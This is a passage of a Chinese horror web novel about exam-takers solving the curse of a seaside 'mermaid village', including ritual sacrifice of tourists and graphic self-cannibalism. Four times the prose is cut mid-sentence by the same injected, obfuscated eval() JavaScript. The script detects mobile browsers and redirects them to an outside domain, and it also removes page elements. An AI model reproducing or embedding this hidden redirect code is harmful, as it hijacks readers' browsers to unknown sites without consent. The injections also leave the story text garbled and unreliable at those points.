“没有,我当时让他闭上眼睛想象自己待在一片好看的花海,没过多久,那花朵又恢复了原来的白色。”苏韵垂着眼睛似乎在思考什么,“我猜测那朵花的变化应该和人当时的念想有关,毕竟闭上眼睛后更贴近人真实的心灵,在那个瞬间你越是畏惧什么越有可能看到什么,若是心无杂念反而相安无事。” 畏惧吗? 这个村子真的只有他们几个游客在畏惧吗? 那之前躲着他们战战兢兢的村民呢? 村长看到桌子上出现烤鱼的时候愤怒地掀翻了桌子,可仔细想想,那真的是愤怒吗? 为什么一个靠海的村落却一条鱼都没有,为什么村民和游客在陆续异化成人鱼的样子,为什么村民每个早上都要去向海神祷告? 村民会信奉海神是因为他们有所求,可海里分明没有鱼,无法让他们靠海吃海,那他们求得是什么呢?是风调雨顺。可是为什么突然开始用那样奇怪的仪式祈求风调雨顺了呢?是因为发生了不顺的事情吗?这个事情会是什么呢,陈喻很难不联想到异化成人鱼这件事,是因为原本以打渔为生的村子突然不再有一条鱼,而原本是人的村民却变成了鱼的模样。 如果真的是这样,向海神祷告这种行为不也正是源于一种畏惧吗? “你有什么想法?”苏韵看着她低头沉思的样子说,“你刚刚提到灵魂的事,是想到了什么吗?” “你还记得周辛夷是怎么死的吗?”陈喻低声说。 “你不是说她是半夜被拉进海里的吗?” “我也半夜去过海边,为什么只有她出事了?”陈喻问。 苏韵微妙地挑了一下眉:“她出事的可能很多,她脖子上的项链,村长由于烤鱼的愤怒,还有……我不知道你是否注意到,她腰间别着的那朵浅红色的花。” 陈喻听完也意味深长地看了苏韵一眼:“项链许芸芸也戴过,但是出事没有这么快,至于村长对她的愤怒应该不会造成直接伤害。” “这几件事情对她的性命并不会造成直接伤害,但却会极大地增加她的异化程度,异化程度越高,受乱七八糟东西蛊惑的概率也会越大,我想这也是她会被引到海边的原因。”苏韵顿了一下,“你是怀疑那朵花,是吗?” “你没有见过夜晚的海域,不知道里面都是什么恐怖的东西,那里面塞满了乱丢的尸块,我怀疑是那些东西看到了它们自己的灵魂,它们发生了一些变化,比如活了过来,将周辛夷拖进了水域。”陈喻说。 苏韵看着她沉默了片刻,冰冷的眼神里多了几分审视的目光。 “你果然掌握了更多的线索,还拥有更多的想法,我跟你过来倒真是个正确的决定。”苏韵嘴角微微上扬,“接下来什么打算?” “根据已知的题目信息来看,木匠那里和花圃那里我都还有些头绪,唯独蚌壳屋那边我还没什么头绪,我想先去村民那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473658|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里找找新的线索,验证一下我的一些猜想。”陈喻说。 她需要新的线索来拼凑脑中不完整的故事,没有更多的信息,所有的一切都像是蒙着一层浓郁的雾。 她手里的线索会成为她跟老人合作的资本,这会使她拥有价值,她需要老手的经验,毕竟她没有自己的底牌。 白天的村落不比夜晚热闹多少,村民们似乎很少出来溜达,除去洗衣干活的,陈喻几乎见不到其余的村民。 “前面有个大叔,咱们偷偷溜过去,不要被他发现,他们一看到我们就要跑。”时越盯着前面正在拾柴火的男人说。 陈喻点了点头,悄无声息地朝着他身后走去。 “叔,忙着呢?” 时越熟练地开始搭话,却把面前的男人吓得一个哆嗦,他转身就要往房间走,却被身后的三个姑娘死死按住。 “这么着急走干什么?我们再可怕难道还比海里的东西可怕吗?”陈喻趴在他耳边说。 那男人听了脸色唰地一下白了。 陈喻看到他的反应底气也足了不少,她带着笑意幽幽地开口:“祷告已经没用了,你没发现它们变得更强了吗?连村长都要变成那样了呢,还有谁会庇佑你们呢?” 那男人听到这话瞬间疯狂挣动起来,他大吼道:“你胡说!你胡说!!” 可陈喻远没有停下来的意思,她不屑的冷笑落在男人眼中像是夺命的魔鬼一样,她轻声在他耳边说:“海里真的有海神吗?海里究竟有什么东西,你们不是最清楚了吗?” 男人面如白纸,瞪着眼睛狰狞地说:“只要你们死了就好了!你们死了村子就安宁了!明明是你们犯了罪!明明是你们该受罚!你们都该死!!!” “真的是这样吗?”陈喻的声音里带着佯装出来的疑惑,“或者换一下,换你们去死呢?” “如果我站在它们那边呢?你以为只有你们可以利用游客吗?”她的声音低低的,带着几分蛊惑人心的味道,“你难道就不想永绝后患吗?你难道就甘愿永远活在这种命运随时会被拿捏的不安定里面?等待着一批批新的游客到来?如果有一天这个村子丽不会再来游客呢?你难道要继续等死吗?” “你……你到底想说什么?”男人难看的脸色中带着一种怔愣。 “我可以帮你永绝后患,大家都不用死,你们也不必活在恐惧当中。”她微笑着说。 “你是说……” “我可以帮你彻底解决海里的东西。”陈喻看着他木讷的双眼,“前提是你得告诉我你知道的一切。” 男人沉默地看了她很久,最终叹了口气,道了声好。 陈喻松开了钳制他的双手,退后了一步,一偏头就看到了苏韵意味深长的目光,余光一扫就看到了呆若木鸡看着她的时越。 “你还是陈喻吗?我严重怀疑你被什么东西夺舍了。”时越愣愣地看着她。 “看什么,我只是疯了而已,考研人哪有不疯的。”陈喻面无表情地回了一句。 男人重重叹了口气,仰面朝天说道:“是罚,是罚啊……我们犯下了滔天大错,海神降下了罪,整个村子都被诅咒了……” 14. 人鱼村落(14) “我们人鱼村原本只是个普普通通靠海吃海的村落,世代以打渔为生,后来被一些前来垂钓的外乡人发现了商机,便开始发展旅游业,由于此处都是未经修饰的天然风光,不久便成为了旅游胜地,原本只能凑个温饱的村落变得富饶,这本应该是件好事,可这也同样带来了祸患。”村民沙哑的声音带着古老沧桑的感觉。 “因为游客?”陈喻问。 “是,随着旅游度假的旅客越来越多,他们带来的垃圾也越来越多,海滩上、海面上、海底沉着的全都是垃圾,玻璃、金属、塑料……什么都有,密密麻麻,起初,我们还会组织村民轮流去捡,后来我们发现这根本就是徒劳的。”他的语气里带着一种死气沉沉的绝望。 “海里面的垃圾废物越来越多,周遭海洋生物的生存受到极大威胁,有一天,海神终于发怒了,他降下了罚,诅咒降临在整个村落,海里再也没有海洋生物的踪迹,后来村民们也陆续开始变成那样的怪物,进来这里的游客也没有可以幸免的。” “明明是你们这些游客犯了错,这些罪罚却牵连到了我们头上,这不公平!这不公平!”他的情绪开始变得激动起来,表情也随之狰狞。 “那为什么这里现在变成了人鱼村,又特意将变成怪物的人鱼骨骸拿出来展览呢?”陈喻带着审视的眼神质问他。 “分明是你们犯的错!就应该你们来受罚!”男人似乎愤怒极了。 “每一批游客都是不一样的,因为之前游客犯的错就将罪责和惩罚落在新一批游客的头上,这难道就公平吗?”陈喻看着男人突然冷笑了一下,“如果不是你们打着人鱼这样的幌子作噱头,人鱼村现在还会有源源不断的顾客吗?填满垃圾的海域连一条鱼都不再有,还会有客人来吗?” “……没有无辜的游客!你们就不该来!是你们活该的!”他拽着陈喻的胳膊上的衣料狰狞地说。 “知道海域填满垃圾之后你们有想过放弃旅游业这条道路吗?还是坚持一如既往地打着自然风光的幌子在招揽游客呢?如果你们这么无辜诅咒为什么同样会降临在你们身上呢?”陈喻打量着对方的神情说,“既然村民们都陆续变成了怪物,那为什么你还好好的呢?” “你们拿已故村民的遗体在招揽新的游客,你们似乎真的很需要游客,这到底是为什么呢?是因为嫌海域被污染的不够彻底吗?真的好难猜啊。”陈喻的声音似乎带上了蛊惑人心的味道,时越站在旁边严重怀疑她此刻的精神状态。 “究竟是谁的罪?又是谁在给谁替罪?”她带着质问的声音轻轻在男人耳边划过,男人不自觉哆嗦起来。 男人像是疯了一样朝着陈喻扑来:“是你们的罪!全都是你们的罪!!” 苏韵和时越眼疾手快将对方死死钳制住。 “你为什么会这么害怕我们呢?是因为心虚吗?”陈喻的话像是刺,扎进了对方心头,他开始抖如筛糠,“想要利用我,却又蒙骗我。” 男人没有再停留下去,他使出巨大的力气掀开了众人,匆匆忙忙跑回了屋子。 陈喻看着紧闭的木门陷入了沉思。 “他一直在说谎。”苏韵在她身后抱臂站着。 “或许他没有说谎,只是隐瞒了一些事情,模糊了一些事情。”陈喻说。 “他说他们犯了滔天大错,海神才降下了罪,可他又说这一切都是因为游客招致的灾祸,说这全都是游客的罪,可是游客难道又不是他们招揽的吗?”苏韵拧着眉,“如果真的是我们在给他们替罪,在替他们去死,也就是说罪责是他们的,村民究竟犯下了什么罪才会受到这样的诅咒责罚,只是因为一直在招揽游客破坏这片海域吗?可他们如今这样持续招揽难道不是在加重这份罪吗?这里面似乎有些悖论。” “我想他一定瞒了我们一件大事,这件事一定很恶劣,恶劣到即使我承诺帮他摆脱恐惧他也无法对我和盘托出,或许这件事才是诅咒的源头。”陈喻低着头说,“看来我们还没有找到最关键的线索。” “看来你们的收获也不是很多。” 熟悉的声音在三人耳边响起,陈喻抬头朝着脚步声的方向看去,看到了微笑看着他们的秦曜,秦曜的手里还拿着本老旧发黄的册子,大汉跟在他身后。 奔波大半天,今天又没有吃早饭,几人已经饿得抓心挠肝,于是默契地选择了在餐馆交换信息。 由于第一天陈喻是和时越、许芸芸一起合着买了一份饭,所以陈喻和时越两人各自还剩六十几的资金,她俩合着买了份饭,不过大汉就比较惨了,他今天已经分文不剩,买不起这样一顿价格高昂的饭。 让陈喻没想到的是,苏韵和秦曜可能是觉得剩下的资金没什么用了,两人各自也点了一份饭。 饭一端上来时越就狼吞虎咽起来,说实话,时越今天的状态很差,话比前几天少了很多,跟她说的为数不多的几句话全都是“好饿”。 苏韵随便吃了两口,就把自己那盘饭推了过来:“这里的饭不怎么样啊,我吃不下了。” 陈喻看着几乎没有动过的满满一盘饭道了谢。 “……好饿啊,我好饿啊……”大汉的眼神死死地盯着秦曜面前的饭,“秦曜,我可以吃一口你的饭吗?我真的好饿……” 还没等秦曜应声,陈喻就看见大汉把头直接埋进那盘饭里面,她不自觉地皱起眉头,听到那边突然传来清脆的一声。 他将头微微抬起一点,边用手疯狂往嘴里抓饭边说:“对不起啊,我实在是……实在是太饿了。” 而借着这一点缝隙,旁边几人清晰地看到了他面前的情况。 他把盘子咬碎了。 “看来我跟这盘饭没什么缘分。”秦曜乐观地说,“他确实很饿,今天在村子找线索的时候他甚至咬了村民一口,血都流出来了。” 几人都沉默了,时越甚至吃到中途抽空一脸震惊地看了大汉一眼,而大汉就好像什么都没听到一样,自顾自地把食物往嘴里塞。 “正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485256|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都到齐了,我们来共享一下信息,分析一下目前的情况。”秦曜说。 “好。”陈喻擦了擦嘴,“我先来说我掌握的线索吧,据我所知,目前村子里应该是有三方势力,分别是海里的东西、村民以及游客,我们在参观人鱼展览馆的过程中发现人鱼骸骨的衣着有村民的打扮,也有游客的打扮,说明异化攻击的对象两者兼有。” “在探访村民的过程中我发现村民对我们的态度其实很奇怪,并不友好,展览馆的人鱼骸骨应该是曾经的村民和游客,为什么村民会不惜用这些骸骨作为人鱼村的噱头,以此来不断招揽新的游客吗?显然他们不是为了钱这么简单,因为他们的生命早就受到了威胁,比起钱,当然是命更重要。” “你们猜他们为什么这么需要新的游客呢?” “难道是为了保命?”时越随口应声。 “只要有新的游客死亡,村民就可以保一条命。”秦曜微笑起来,“我们都在异化,村长和村民也在异化,只是看谁先死,是吗?” “这是我的猜想。”陈喻说。 “村民和游客我可以理解,但你确定之前杀我们的是海里的东西吗?”时越说,“海里不都是尸块嘛,而且我们的人基本都是在屋子里死的。” “现在死去的考生基本都是晚上出的事,你也知道晚上的海域才会出现尸块,白天什么都看不到。”陈喻接道,“原本我也不是很确定,但你想想村民们畏惧的是什么?” 秦曜深深看了她一眼,眼神中颇有些意味深长的味道。 “畏惧什么?你是说他们畏惧海吗?”时越问。 “如果不畏惧,为什么会天天在海边举行祷告呢?”陈喻眯着眼睛说,“你们想想祷告的仪式,他们会带着盆鱼食以及肉类,可你在这个村落见过什么大型动物吗?” 时越突然恍过神来:“你是说……” “你是说之前消失的尸体都被投进海里成为了祷告的祭品?”苏韵抱着手臂,还是那副冷冰冰的样子,“所以夜晚的海里才会有那么多尸块?” 确实,每次祷告结束,尸体总会瞬间消失。 一次两次是巧合,可这么多次实在很难不让人怀疑。 事实上,陈喻不仅确定除去村民和游客以外的势力是海里的东西,她甚至可以确定是那具人鱼骨架。 当初在展览馆里,她跟人鱼骨架的对话的时候对方显然是攻击他们的第三方势力的语气,它当时跟她说“你就快要看到我了呢”,说明她还没有看见,展览馆里的骨架大概不是它的本体,那它的本体在哪呢?或许就是村民畏惧的那片海域。 “说到祷告,我这里有一样东西你们可能会感兴趣。”秦曜慢悠悠地开口,从手里拿出一本老旧发黄的册子。 那封面上写着两个字:祭典 “你们不想知道祭祀祷告的仪式是从什么时候开展的吗?”秦曜微笑着说。 陈喻的眼皮不自觉跳了一下,这或许就是她在等的重要线索。 15. 人鱼村落(15) “这是我在一位村民的屋子里找到的,上面记载了祷告仪式。”秦曜翻开陈旧发黄的封皮。 “你闯进了村民的屋子?”时越震惊。 “没有闯,只是偷偷溜进去欣赏一下而已。”秦曜面不改色。 “然后偷偷顺出了一本祭典?”时越顺着他的话问。 秦曜温和地看了她一眼:“你还想不想出去了?” 时越听了赶忙低头跟着陈喻一起装模做样研究起册子上的文字来,那是一些繁体的汉字,看上去像是手写的,发黄的纸页诉说着它久远的年代,陈喻轻轻摩挲着扉页,眉头因为认真有些不自觉地皱起。 这上面记载,在这片广阔的海域之中,有着一位掌管整个海域的神明,世世代代保佑着这片村落,如果有一天,这片海域被破坏,那一定是因为这位海神在沉睡,村民需要重新唤醒海神,这样海域就会恢复往日的样貌。 密密麻麻的背景后面全都是祷告仪式的过程,或许,这不该叫做祷告,该叫做祭祀,毕竟,这是一本祭典。 下面记述着唤醒海神的方法,大致意思是说要找一位村民,一位对整个海域有着极强敬畏之心的人去呼唤,呼唤的方式大概是数十个村民围成一个圈紧紧挨着念出咒词,呼唤的人坐在正中间闭目冥想,整个仪式不能有任何偏差,尤其是呼唤的人,他必须全程集中精力冥想,不管发生什么都不为所动。 最后,需要以呼唤海神之人的……去找寻海神。 最关键的地方居然像是被滴上了墨汁一般看不清了,陈喻仔细盯着那处有些出神。 “卑鄙!”时越有些生气,“居然用这么低端的伎俩,小时候出题就总是小明打翻墨水看不清,没想到上了大学还能碰到这种题,这种低端方式我们初中就不用了。” “应该不是无意之举,这倒像是人为划掉的。”陈喻看着那黑渍的背面,那印记深深浅浅,能看到一点笔触的痕迹。 被划掉的内容会是什么呢? 血肉?灵魂? 她不惮以最大的恶意去揣测村民的行径。 “你看看后面。”秦曜说。 陈喻往后面翻去,发现纸张上的字迹变了,不再是之前端正古朴的字迹,看起来潦草又慌张,无论是字迹还是内容都不像是出自同一人之手。 上面说祭祀失败了,他们一定是犯了大错,海神降下了天大的罪,这一切都是海神的罚,海神彻底收回了对他们的馈赠,并让他们成为了怪物,错了,错了!一切都错了!! 那字迹越发狂乱,陈喻甚至觉得只是看着这些字迹都让人觉得非常不适,那后面又开始记述另一种祭祀仪式,讲到鱼食,讲到肉类,甚至讲到熟悉的咒语。 只是那肉类二字被划掉了,在旁边重新写上了村民,又划掉,写上游客。 修修补补,最后成了游客的血肉。 时越看到这里倒吸了口凉气,陈喻则在心中暗叹果然。 她现在越发能确定,导致情况变得这样恶劣的最终原因不是游客,中间发生了一件大事,而现在她猜测,这件大事可能就和最初的那场祭祀有关。 自从她发现攻击村民和游客的对象是那个人鱼骨架之后,她就一直在想,这个人鱼骨架究竟是怎么来的呢?它比周遭的人鱼骨骸都要庞大,也比它们都要陈旧,陈旧到只剩下一具光秃秃的骨头架子。 它是海里原来就有的人鱼吗?还是也像其他人鱼骸骨一样是被异化成这副模样的?可其他的人鱼不就是被它异化的吗?它总不能自己异化自己吧。 再说了,它如果被异化了,那它曾经是什么?村民还是游客?好像游客的身份更能支撑它对村民浓烈的恨意,可也很难说它会不会是一个心理不平衡的村民。 “我想大家也发现了,村民之中藏着秘密,我这几天挨家挨户敲过门,发现只有一间屋子的人不出来,我想那个村民可能会是关键。”秦曜抿了口水,“至于我为什么确定里面不太对劲,大概是因为木头做的门居然有铁的质感。” 陈喻的眼皮不自觉跳了一下,铁的质感,不知道为什么,她的第一反应就是展览馆那个大铁门。 几人简单整理了一下思绪,趁着天还没黑,又去了趟秦曜说的那间屋子。 陈喻上前敲了敲那间屋子的门,明明是木头做的门,居然真的像铁一样坚硬,里面没有丝毫动静,说实话她也不确定里面到底有没有人,但这确实是目前最可疑的地方了。 她没有继续拍打铁门,而是转身去了旁边一间屋子,她敲了敲门,从里面出来一位妇人。 “大婶,我想找你打听个事。”陈喻刚刚开口对面就准备关门,她用腿死死抵着木门,“隔壁那户村民偷了我们三百元,那可是我们三天的饭钱,没了这钱我们可是会饿死在这,村长说这村里您最明事理了,所以我特意来找您主持公道。” “……村长让你们来的?”那大婶低声问。 “当然了,不然我们怎么会专门来找您呢。”时越不明所以,但有样学样。 “我可提前跟你们说好,这钱我可不一定能帮你们要回来。”大婶谨慎地看着面前几人,“这旁边住的是个傻子,他做出什么事情来都不奇怪,他就是真偷了你们的钱我也要不回来。” 至少说明旁边那间屋子里真的有村民住在里面。 “那您多告诉我们点他的情况,后面我们也好在村长面前给您美言。”秦曜面带笑意看着那女人,“最好能让他把门打开,我们也好跟他理论,我们都不是不讲理的人,要是他实在生活困难我们也不会强求。” 妇人狐疑地看了他们一会儿,然后有些嫌厌地说道:“那里住的是个傻子,整天将自己关在门里面,他以前不住在这里,住在最西边一个靠海的屋子,那间屋子的窗户正对着海和一棵参天的树,那原本是一间很美丽的屋子,可后来那家伙发疯把那个窗子用木板全部钉住了,他甚至连门也钉住了,他把自己关在里面,像是关在一个密不透风的棺材里一样……” 陈喻听到这里的时候眉头不自觉微微蹙起,她甚至感觉到了周围的几道视线不约而同地都落在她身上,这让她莫名有些不舒服,她住的那间屋子果然不对劲,不过这也正说明了妇人口中那位“傻子”大概率是关键人物。 “最后还是村长看不下去了,把门劈开把他拉了出来,后来他就搬来这里,他简直像个怪胎,他跟谁都不说话,他似乎是个哑巴,过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494726|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后他又把自己关起来,不过村长留了后手,村长没给他身边留可以钉住门窗的工具,他现在住的这间屋子村长也有备用钥匙。” “不过,你们如果想让他自己出来跟你们交谈,那是痴人说梦,除非找他阿妈来。” “他阿妈在哪?”时越忙问。 那妇人听了笑了一下,那是一种轻蔑的笑,不知道为什么,陈喻就是觉得那表情莫名让人毛骨悚然,妇人笑着说:“已经死了很多年了。” 时越下意识后退了一步,顿时觉得头皮发麻。 “他阿妈是个怎样的人?”陈喻问,“有什么特征吗?” 不是陈喻的错觉,妇人谈起这个人时有一种高高在上的轻蔑,同时在某个瞬间,又有几分刻意回避的畏惧感,她轻蔑一笑:“那大概是以前村子最好看的人吧,只是如今早已物是人非,若非说有什么特征,她老是戴着一串老旧的珍珠项链,我从没有见过成色比那更不好的项链了,据说还是从一个特别大的蚌壳里产出来的呢。” 听到这里陈喻只觉得心头重重跳了一下。 对上了! 终于都对上了!! 蚌壳,特别大的蚌壳,她见过的,在刘婆婆的蚌壳屋里。 许是天不遂人愿,线索出来了,天色却也暗了下来,几人没有在附近过多停留,而是往住的地方走去。 “或许,你们在寻找线索之余,稍微也关心一下同行的考生呢?”苏韵清冷的声音从身后传来,这话让她说出来听着真是奇怪。 陈喻几人向后看了一眼,差点没叫唤出来,大汉看起来神志不清地跟在后面,他的胳膊上腿上手上都是鲜血,手臂似乎被什么兽类咬伤了,肉被从手臂上拉扯得长长的,要掉不掉,垂落在胳膊旁,他的嘴边都是鲜血,甚至还有碎肉的痕迹,嘴里此刻咬着一大块坚硬的压缩饼干。 苏韵冷着脸,一脸无奈地站在他旁边,看起来压缩饼干可能是她的手笔。 陈喻还真没注意到,刚刚几人的注意力全在线索上面,又或许,是因为他们也在不断异化,慢慢地就感觉不到诡异情况的诡异之处了。 留给他们的时间不多了。 陈喻回屋后用清水洗了把脸,企图让自己保持几分清醒,这几天的夜晚基本没有安睡过,不是窗边莫名其妙的人影就是半夜被敲响的门,甚至是来来回回的脚步声,时越甚至有几个晚上都吓得跟她缩在一张床上。 ——咚咚咚!! “……” 今晚这个门敲得是不是早了点,她甚至都还没有躺下。 “是我,苏韵。” 她想了想现在外面的天应该还没有完全黑,就推开了门让苏韵进来。 可苏韵刚刚坐下,外面又开始了。 ———咚咚咚!!! “……” 什么情况? “我是秦曜。” 真行,凑够一桌麻将了。 四个人围坐在一起的时候,陈喻微妙地沉默了一会儿,然后再次打开了门。 门外站着大汉,他挠了挠肚子说:“……不好意思,我饿了,我想问苏韵还有没有压缩饼干,可她不在房间……啊,原来她在这。” 16. 人鱼村落(16) “说吧,几位有何贵干?” 陈喻看着对面坐着的三个人,面无表情中透露着一丝无奈。 苏韵抱着手臂,一副高冷的样子:“我是来参加你今晚的行动的。” 秦曜扶了一下镜框,温和微笑:“我是来找你合作的。” 大汉看了这两人一眼,挠挠头说:“……我是来找苏韵要吃的的。” 陈喻:“……” “你怎么知道今晚会有行动?”时越坐在陈喻旁边一脸不解,“不是说夜晚的村落不安全嘛,你们还上赶着送人头啊。” 夜晚的海风在整个村落呼啸,仿佛在警告他们不要轻举妄动,又像是在提醒他们所剩的时间不多了,再呆下去,留给他们的生存条件只会更恶劣。 令人窒息的腐臭气味浓烈地刺激着每个人的鼻腔,尤其是知道了这气味的来源以后,几人一旦闻到便想到些不好的东西。 海边只剩下潮涨潮落的声音在配合树枝沙哑的吟唱,熟悉的彩色贝壳密密麻麻挂在屋檐,让陈喻感到奇怪的是,用贝壳做的风铃居然没有被肆意呼啸的海风惊动分毫。 跟她的猜想差不多,夜晚的村落有问题,白日里被隐匿的一切几乎都会在夜晚显现,正如游客害怕夜晚出事一般,村民也不敢在夜晚时走出屋子,故而此时的景点也没有人看守。 蚌壳屋里亮着灯,几乎是进去的瞬间,陈喻就注意到了那个摆在屋子正中间的庞大蚌壳,冷白的灯光打在精美的壳面,分明是搁置了很久的东西,却好像被镀上了一层银光,看上去好看极了。 “就是这个吧?”时越看着它说,“真的会在这里面吗?” 陈喻走上前去,伸手摸进蚌壳的缝隙里面,她刚刚把手挪进去,脸色就瞬间扭曲了。 “怎么了?”秦曜看着她变幻莫测的表情问,那缝隙狭窄,只堪堪容得下一只手进去,他也只能站在旁边干看。 这触感很奇怪,像是摸到了湿滑的泥巴,那感觉莫名让她想起第一次去阿丽的花圃时看到的幻象,地上的泥全部变成了血淋淋的肉泥,如今她手摸到的触感就像极了当时脚下的触感,人对未知的恐惧有时候远大于实物,毕竟人真的是太爱联想了。 她强迫自己的思绪扭转,告诉自己这不过是新捞的蚌壳里面的蚌肉而已,她强忍着头皮发麻的感觉在里面探寻,许久,终于摸到了一个类似圈滚滚的小物件,她没有丝毫犹豫,抓着那物件就往外拽。 她拖拽出一条长长的东西,深吸了几口气才眯着眼睛瞅了眼自己的手。 “是珍珠项链!”时越激动道。 苏韵凑过来说:“这应该就是他阿妈的那条了吧。” 陈喻一脸生无可恋,好歹手上没有沾一手红彤彤的血出来,不过这满手粘腻的墨绿色粘液到底是什么东西啊?! 突然,清脆的风铃声自她耳边传来,那声音十分急促,像是被狂风吹动。 ——是外面悬挂的贝壳风铃! “快走!”陈喻喊了一声,抓着项链向外飞奔而去。 她刚刚踏出屋门,就感觉到了身后的异样,原本宁静的蚌壳屋此时嘈杂无比,灯光映出里面怪异的影子,那些蚌壳贝壳似乎活了过来,张牙舞爪地想要拉住他们,只是那些东西好像无法走出那间屋子。 大汉走在最后,眼看就要跑出来了,却被蚌壳里突然伸出的软肉拽住了脚踝,那软肉上还包裹着墨绿色的不明液体,正滴答滴答落在木地板上。 没等几人反应过来,大汉突然做了一件匪夷所思的事情。 他一口咬掉了那块扯着他脚踝的软肉,甚至咬上了自己的脚踝,失去束缚之后他缓步走出了那间木屋,咧着嘴冲眼前的众人笑了笑,牙齿上沾着碎肉的肉渣,墨绿色的黏液和鲜红的血液顺着他的嘴角和下巴流下:“……嘿嘿……我没事,怎么办,我还是好饿啊。” 众人:“……” 他总不会在对着他们流口水吧。 下午到访过的屋子依旧屋门紧闭,但深夜有时候也有点好处,夜半时分总是能看到平常看不到的东西,比如突然出现的窗户,比如海中腐烂的东西,有时候,让人甚至分不清究竟夜晚是受到这个地方的障眼法消失了,变得更加清醒了,还是说其实异化的效果加重了,所以看到了不该看到的东西呢? 陈喻站在那间屋子的窗框边敲敲打打,突然,她意识到她此刻的身份居然和之前的夜晚发生了对调,她想起了这些天夜里被海里的东西折磨的恐慌和难眠,不知是什么心理,她拍打窗框的力气不自觉加大了不少。 屋里的人睡得似乎并不踏实,在听到拍打窗户的声音时,对方下意识将头瑟缩在被子里面。 他是在畏惧吗? 陈喻突然在想,他们每天晚上经历的这些遭遇,村民也同样会遭遇吗? “别躲了,我已经看到你了。” 陈喻冷漠的声音仿佛给里面瑟瑟发抖的人下了最后的判决书,她清楚地看到他在颤抖。 “你阿妈托我们来找你,她说当你看到这条珍珠项链的时候就会记起她来。”她的语速并不快,每一个字似乎都在折磨着屋子里的人最后的防线,“你还记得她吗?” 她说完这句话,里面的人慢慢抬起头来,朝着窗边的方向看了一眼,村落的夜晚很暗,至少今天陈喻没有看到月亮,可里面的人却好像一眼就看到了她手中的物件。 他突然从床上跳了下来,并且朝着窗边走来,他的眼神死死盯着陈喻手中的珍珠项链:“……是阿妈的,真的是阿妈的,我当然记得了,我全都记得的,我一直一直都很想念阿妈。” 他推开窗子,从陈喻手中接过了那串珍珠项链,陈喻注意到他苍白的脸颊上有泪水滚滚滑落,他看着陈喻说:“阿妈跟我说过,晚上不可以出门,也不可以让别人进来,你们明天白天来找我吧,我记住你们了,你们是阿妈的朋友,也就是我的朋友。” “你们明天来的时候记得要敲三次门,再喊我的名字就好了,我叫阿荣。” 几人没有过多停留,便匆匆离去,不知道是不是陈喻的错觉,她总觉得自己身上的鳞片又增多了,空荡荡的村落里似乎有几道错觉似的黑影在来来回回地闪动,或许晚上出门确实不是个好主意,但富贵险中求,人鱼曾经说过,越接近真相,也就越接近危险。 她偏过头,突然看到了被秦曜和苏韵一左一右架着的大汉,他嘴里此时紧紧咬着一块压缩饼干,嘴角正在流淌着殷红的鲜血,与其说那二人架着他,倒不如说是钳制着他。 陈喻不自觉皱起眉头,倒不是因为大汉目前的情况,而是因为大汉变成这样她居然一直没注意到,她的反应似乎比之前迟钝了不少,注意力只能堪堪集中在一处,她感觉到自己的下肢变得似乎更加麻木了,异化比之前又严重了很多,或许再磨蹭下去,别说离开这里,她连思考和行动的能力都会丧失。 她深深看了大汉一眼,那家伙已经长出了鱼类的眼睛,鳞片包裹了他整个脸颊,他的臂膀似乎在变小,通红的双眼死死看着她。 今晚,注定是个不眠之夜。 等到天空泛起鱼肚白的时候,陈喻已经站在了岸边的木麻黄树下,像她来的那天一样,海风吹散她额前的碎发,潮湿的气味灌入鼻腔,一切都像极了那天,她却比那天更加绝望,因为今天是第七天。 她必须得在今天离开。 “我想他大概是活不过昨天晚上。”秦曜在她身后说了一句,便推开了不远处的一间屋门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512356|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 熟悉的腐臭味铺天盖地地充斥在整个屋子里,陈喻捂着鼻子进去,却只看到了一具残缺不全的人鱼尸骨,大汉的整个身体已经完全异化,但这并不是最让人不适的,最可怖的是他将自己的躯体吃掉了大半。 腹部被牙齿撕咬开,里面血红的器官碎肉流淌一地,肠子被要掉了半边,胃被咬得只剩下一小块,胃液溢在木地板上,连心脏和肺也被拽了出来,下肢更是直接惨不忍睹。 陈喻不禁怀疑,异化成人鱼的体魄是不是要比旁人更抗造。 